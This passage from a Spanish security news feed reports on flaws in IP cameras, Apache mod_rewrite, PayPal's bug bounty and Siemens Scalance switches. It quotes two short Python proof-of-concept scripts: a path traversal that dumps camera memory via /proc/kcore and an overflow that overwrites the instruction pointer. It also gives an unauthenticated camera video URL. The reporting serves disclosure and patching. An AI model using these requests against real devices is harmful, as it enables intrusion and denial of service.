Los investigadores han publicado dos sencillas PoC escritas en python para probar estos dos fallos:

Para obtener un volcado de la memoria del dispositivo (CVE-2013-1604).

import httplib

conn = httplib.HTTPConnection("DIRECCIÓN_IP")
conn.request("GET", "/../../../../../../../../../proc/kcore")

resp = conn.getresponse()

data = resp.read()

conn.close()

Para causar un desbordamiento de memoria y conseguir que el registro 'Instruction Pointer' sea sobrescrito con el valor 0x61616161 (CVE-2013-1605).

import httplib

conn = httplib.HTTPConnection("DIRECCIÓN_IP")

conn.request("GET", "/" + "A" * 3000 + ".html")

resp = conn.getresponse()

data = resp.read()

conn.close()

Las vulnerabilidades han sido comprobadas en dispositivos con firmware v09.27 ó 2011.27.09, aunque otras versiones también podrían verse afectadas.

La respuesta del fabricante es que las vulnerabilidades han sido corregidas en el firmware 2013.22.04.

Zavio F3105

Por último, los dispositivos del fabricante Zavio basados en el firmware v1.6.03 se ven afectados por las cuatro vulnerabilidades siguientes:

CVE-2013-2567: un atacante remoto podría utilizar los credenciales fijados en el fichero de configuración 'boa.conf' para acceder a la interfaz web de administración.
CVE-2013-2568: un error de falta de comprobación de parámetros de entrada en '/cgi-bin/mft/wireless_mft.cgi' podría permitir la inyección de comandos de forma remota.
CVE-2013-2569: un atacante remoto no autenticado podía tener acceso al vídeo en tiempo real.
CVE-2013-2570: una inyección de comandos en la función 'sub_C8C8' localizada en /opt/cgi/view/param.

La PoC de los dispositivos TP-Link es aplicable a la vulnerabilidad CVE-2013-2568.

Además, con la siguiente URL un atacante remoto no autenticado podía tener acceso al flujo de vídeo en directo (CVE-2013-2569):

rtsp://DIRECCIÓN_IP/video.h264

La última PoC es una inyección de comandos (CVE-2013-2570) a través del parámetro General.Time.NTP.Server que permite obtener una lista completa de puntos de acceso ejecutando el comando '/sbin/awpriv ra0 get_site_survey':

El fabricante Zavio no se ha pronunciado al respecto de las vulnerabilidades que afectan a sus dispositivos.

Más información:

TP-Link IP Cameras Multiple Vulnerabilities

http://www.coresecurity.com/advisories/tp-link-IP-cameras-multiple-vulnerabilities

MayGion IP Cameras multiple vulnerabilities

http://www.coresecurity.com/advisories/maygion-IP-cameras-multiple-vulnerabilities

Zavio IP Cameras multiple vulnerabilities

http://www.coresecurity.com/advisories/zavio-IP-cameras-multiple-vulnerabilities

Juan José Ruiz

http://svn.apache.org/viewvc/httpd/httpd/branches/2.2.x/STATUS?view=markup&pathrev=1469311

Ejecución de comandos en Apache Web Server

noreply@blogger.com (Hispasec) — Thu, 30 May 2013 12:45:00 +0000

Apache ha corregido un fallo de seguridad que podría permitir a un atacante ejecutar comandos si los inyecta previamente en los logs (lo que se consigue simplemente realizando peticiones HTTP especialmente manipuladas).

El fallo se encuentra en el módulo mod_rewrite del servidor web Apache, que no filtra ciertos caracteres y por tanto podría permitir la ejecución de código arbitrario de forma remota si un atacante deja comandos en los logs y luego son interpretados en consola.

mod_rewrite es un módulo del servidor web Apache que permite reescribir las URL solicitadas sobre la marcha basándose en reglas. Dichas reglas de reescritura pueden ser invocadas desde los ficheros 'httpd.conf' de forma global o '.htaccess' en cada directorio. mod_rewrite es ampliamente utilizado para crear direcciones URL alternativas para las páginas dinámicas de forma que resulten más legibles, fáciles de recordar por los usuarios, y también mejor indexadas por los motores de búsqueda o buscadores.

Joe Orton ha descubierto que la función 'do_rewritelog', localizada en el fichero 'modules/mappers/mod_rewrite.c', no filtra adecuadamente los caracteres no imprimibles cuando escribe los datos en el archivo de registro (logs). Si se usa la directiva RewriteLog, un atacante remoto podría aprovechar este fallo para ejecutar comandos arbitrarios a través de peticiones HTTP especialmente manipuladas. Por ejemplo, que contengan una secuencia de escape para un terminal si los archivos de logs son mostrados.

La vulnerabilidad, identificada como CVE-2013-1862, afecta a la versión del servidor Apache 2.2.24, aunque también podrían estar comprometidas versiones anteriores. En la versión 2.2.25 ha sido corregida.

Más información:

APACHE 2.2 STATUS

mod_rewrite-CVE-2013-1862.patch

http://people.apache.org/~jorton/mod_rewrite-CVE-2013-1862.patch

Juan José Ruiz

http://picturepush.com/public/13144090

Paypal no paga por un fallo de seguridad descubierto por un chico de 17 años

noreply@blogger.com (Hispasec) — Wed, 29 May 2013 13:00:00 +0000

Robert Kugler, un alemán de 17 años, ha descubierto un grave fallo de seguridad en Paypal. La empresa, lejos de recompensar al estudiante a través de su programa oficial de caza de bugs, le "descalificó" después de haber reportado el fallo, que finalmente ha hecho público. No es el primer desliz de Paypal con respecto a los investigadores.

Robert Kugler ha descubierto un clásico problema de Cross Site Scripting en el buscador de Paypal. En una web de esta categoría, un XSS puede resultar extremadamente serio, puesto que permitiría a atacantes engañar a los usuarios de una manera mucho más sofisticada.

Kugler quiso acogerse al programa de recompensas de Paypal, que anima a la investigación responsable de vulnerabilidades premiando económicamente a los usuarios que encuentren fallos de seguridad. Así motivan un uso responsable de las vulnerabilidades. Mozilla, Google y otros agentes externos que funcionan como intermediarios, actúan de esta forma con éxito desde que se pusiera de moda hace unos años.

Kluger recibió sin embargo un email afirmando que su descubrimiento no optaba al premio por tener 17 años. Finalmente ha publicado el problema en Full Disclosure, quejándose de la situación. Kluger afirma que la respuesta de Paypal fue:

"To be eligible for the Bug Bounty Program, you must not: ... Be less than 18 years of age. If PayPal discovers that a researcher does not meet any of the criteria above, PayPal will remove that researcher from the Bug Bounty Program and disqualify them from receiving any bounty payments."

Pero parece que esto le fue comunicado en privado, puesto que públicamente no se pueden encontrar fácilmente esas restricciones en ninguna página oficial de Paypal ni parece que nunca se haya impuesto públicamente esta restricción.

El investigador en desventaja

Poner restricciones a la entregas de premios después de haber recibido la información es una práctica que, cuando menos, coloca al investigador en desventaja. No conoce las reglas del juego completas hasta que ha enseñado sus cartas (el código vulnerable) a la compañía. Esta, que ya puede arreglar el fallo (en última instancia, es lo que les interesa), decide entonces que los menores de edad no pueden recibir un premio.

Si se tratase de una cuestión legal, existen innumerables formas de sortear el inconveniente, como pedir permiso a sus tutores legales o compensar de otras formas. Pero la realidad es que se ha rechazado a la persona que encuentra un fallo que perfectamente encaja en la dinámica y reglas propuestas por Paypal, por una cuestión "menor" como es la edad... y esto deja en clara desventaja al usuario y da muy mala imagen a Paypal, que no es la primera vez que se ve criticada por otros aspirantes a la recompensa. Se han conocido otros problemas sufridos por investigadores para que la compañía realmente les pague por sus vulnerabilidades.

Otras empresas como Mozilla, llegaron a pagar 3.000 dólares a un chico de 12 años por encontrar un grave fallo de seguridad en el navegador. Cim Stordal, de 15 años, ha descubierto ya fallos en Facebook, Chrome... y en la mayoría de los programas ha sido aceptado y recompensado.

El investigador de seguridad informática es habitualmente joven, y la experiencia demuestra que suele elucubrar sus mejores ideas o potenciar sus habilidades durante su adolescencia. Imponer una restricción de edad como si la "inmadurez legal" fuese un obstáculo técnico en el mundo de la seguridad, no puede más que interpretarse como una excusa por parte de la compañía y una puesta en evidencia de un programa de recompensas que, si bien ha resultado una buena idea en general para todas las empresas que lo han puesto en marcha, Paypal en concreto parece gestionar de forma discutible. O al menos, no parece que le esté otorgando el rédito en buena imagen que, como efecto colateral, también se busca con estas iniciativas.

Más información:

La caza de bugs en Paypal acaba con la publicación de un grave agujero de seguridad

http://unaaldia.hispasec.com/2012/11/la-caza-de-bugs-en-paypal-acaba-con-la.html

PayPal.com XSS Vulnerability

http://seclists.org/fulldisclosure/2013/May/163

Boy bug hunter nabs $3,000 from Mozilla

http://news.cnet.com/8301-17852_3-20020534-71.html

Teen finds bugs in Google, Facebook, Apple, Microsoft code

http://news.cnet.com/8301-27080_3-57369971-245/teen-finds-bugs-in-google-facebook-apple-microsoft-code/

Sergio de los Santos

http://www.siemens.com/corporate-technology/pool/de/forschungsfelder/siemens_security_advisory_ssa-170686.pdf

Twitter: @ssantosv

Salto de restricciones en switches Siemens Scalance X-200 IRT

noreply@blogger.com (Hispasec) — Tue, 28 May 2013 16:56:00 +0000

Dos vulnerabilidades en el firmware de los switches Siemens Scalance de la serie X-200 IRT (usados en entornos SCADA) podrían permitir eludir restricciones de seguridad de forma remota.

Siemen Scalance X-200-4P IRT

Los switches Siemens Scalance de la familia X-200 IRT son utilizados en redes industriales para conectar componentes tales como PLCs y HMIs. Además la serie IRT (Isochronous Real-Time) es recomendada para satisfacer las exigencias en cuanto al tiempo real. Disponen de una interfaz web de administración para facilitar su gestión y cuentan con funciones de diagnóstico remoto estándar (SNMP).

Siemens ha publicado un boletín de seguridad que corrige dos vulnerabilidades en los switches Scalance. La primera de ellas se debe a un error de falta de comprobación de privilegios de usuario de la interfaz web en el lado del servidor. Esto podría ser aprovechado por un atacante remoto autenticado para elevar sus privilegios y ejecutar comandos. Esta vulnerabilidad ha sido identificada como CVE-2013-3633.

La segunda vulnerabilidad se debe a un fallo en la implementación del protocolo SNMPv3 al no validar los credenciales del usuario correctamente, lo que podría permitir a un atacante remoto ejecutar comandos SNMP sin estar autenticado. El identificador de esta vulnerabilidad es CVE-2013-3634.

Se encuentran afectados los siguientes switches:

Scalance X-200-4P IRT
Scalance X-201-3P IRT
Scalance X-201-3P IRT PRO
Scalance X-202-2IRT
Scalance X-202-2P IRT
Scalance X-202-2P IRT PRO
Scalance X-204IRT
Scalance X-204IRT PRO
Scalance XF-204IRT

Siemens ha publicado una actualización de firmware, la versión 5.1.0, que corrige ambos errores. Está disponible para su descarga en la página oficial.

Más información:

SSA-170686: Vulnerabilities in Siemens Scalance X200 IRT Switch family

Siemens Industry Online Support

http://support.automation.siemens.com/WW/view/en/73470284

Juan José Ruiz